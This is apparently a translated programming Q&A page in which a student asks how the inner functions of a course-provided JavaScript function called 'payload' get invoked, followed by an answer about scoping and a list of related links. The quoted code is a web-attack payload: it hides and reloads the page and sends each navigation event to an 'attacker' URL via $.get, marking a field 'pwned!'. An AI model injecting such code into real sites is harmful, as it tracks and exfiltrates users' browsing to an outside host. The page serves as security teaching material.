在Javascript中传递数据和href作为函数参数
passing in data and href as function parameters in Javascript
在我的课程中,我得到了以下代码
function payload(attacker) {
function log(data) {
console.log($.param(data))
$.get(attacker, data);
}
function proxy(href) {
$("html").load(href, function(){
$("html").show();
log({event: "nav", uri: href});
$("#query").val("pwned!");
});
}
$("html").hide();
proxy("./");
}
在函数log
和proxy
中,参数是如何调用的?在后续代码中,只调用了payload(attacker
,但我不知道如何通过调用payload
来同时调用其他两个函数。
我看到它们也是HTML标记,那么这是另一种只存在于Javascript中的参数类型吗?
另外两个是内部函数;他们只是在帮助payload
完成它的工作,并且只存在于它的范围内。请注意,在函数定义的末尾是如何调用CCD_ 6的?,将href
设置为"./"并加载一些内容,包括在控制台上转储一些信息(通过对log
的调用)。其他函数就是这样调用的。没什么神奇的事。只需听从召唤。
相关文章:
- href属性内的javascript函数
- JSP 通过 href 调用 JavaScript 函数
- 为标记调用href中的两个javascript函数
- 如何从区域href中激发JS函数
- jquery在李内部的href上运行函数
- 在href跳转到另一个html元素之前,执行Knockout.js数据绑定:点击函数
- 如何检查窗口是否已滚动到href,然后在javascript/jQuery中执行函数
- 如何从href调用javascript函数
- 恢复javascript函数中的href属性
- JavaScript:在同一页面上的所有href上调用切换函数
- 如何在 JWPLAYER 中一一调用带有 arugments 的 HREF 函数
- 当目标为可下载文件时,当 href 时,Ajax 函数不会在类上触发
- 在 href 单击时返回另一个函数的响应
- 如何使用 javascript 函数设置 href 参数值
- 如何通过 javascript 函数的返回值生成 href 链接的内容
- 加载函数对 href 不起作用
- 从 JavaScript 函数 WebDriver 访问动态生成的 HREF
- 从调用 JS 函数的 href 中删除 #
- JavaScript 中的函数在通过单击 href url 加载新页面时不会调用
- 在 window.location.href 下载后执行函数